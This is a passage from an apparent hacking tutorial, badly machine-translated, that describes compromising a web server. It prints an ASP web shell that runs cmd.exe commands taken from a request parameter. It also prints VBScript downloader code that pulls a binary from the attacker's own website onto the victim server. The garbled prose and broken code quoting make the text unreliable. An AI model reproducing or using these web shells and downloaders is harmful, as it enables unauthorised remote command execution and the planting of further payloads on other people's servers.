Uploads cmd.asp to prepare to attempt the executive command, but cmd.asp is also killed by the server the poisonous software for kill, therefore, oneself fenced to write to carry out cmd the order asp script, the code is as follows:
“)
On Error Resume Next
response.write oScriptlhn.exec (“cmd.exe /c” & request (“c”)).stdout.readall
response.write ("")
response.write ("")
response.write (“
“)
response.write ("")
the %> success uploads after the server, carries out the cmd.asp order defeat. I wanted possibly to be the manager deleted cmd.exe, was also possibly server's jurisdiction establishment question, with a few words wooden horse examined that the server service information discovered Wscript has not been forbidden, originally wanted to use the Wscript executive command, but some could write continually the table of contents could not find, the commonly used everyone table of contents could not use, hence, proposed the power to fall into the dead end. Feeling any meaning, had not said to the friend under the situation exited to play.
Evening comes back, the friend said that has looked for N hour, had found the table of contents which can write, the table of contents position is finally “C:\Program Files\free3web ~”, as soon as this frightened me to jump really, a software's table of contents could write unexpectedly? Opens this table of contents to look that did not know is any thing, put in one side. The preparation uploaded cmd to server's time I had discovered a question, how was I should pass on the binary file the server? A few words wooden horse only supports the text upload. Some friends possibly said that downloads with Wget.vbs, but you think, how we should the executive command let Wget.vbs download the document? After a while ponder, I had thought finally means that cannot upload, but can download? Therefore I on-line have found feasible means that is downloads the document using Microsoft.XMLHTTP to the server on. We pass on first cmd.exe in our website (to reduce the volume, I used FSG to compress cmd.exe! ), then turns on a few words wooden horse client side enhancement version, after filling in a few words wooden horse's information, the third frame clear spatial, changes into again the second frame's code:
Set xPost = CreateObject (“Microsoft.XMLHTTP”)
xPost.Open “GET”, “is downloaded the document the website”, False
xPost.Send()
Set sGet = CreateObject (“ADODB.Stream”)
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write (xPost.responseBody)
sGet.SaveToFile Server.MapPath (“preserved filename”), 2
set sGet = nothing
set sPOST = nothing
response. Write (“downloads successfully!”after) clicks on “GO” again the button, a while document will be downloaded to the server on, like Figure 3, 4 will show.
Other pages: : <<Prev * 1 * 2 * 3 * Next>>
|
You are here: hacking technology
> hacker invade
> Content
Category: Home
> hacker invade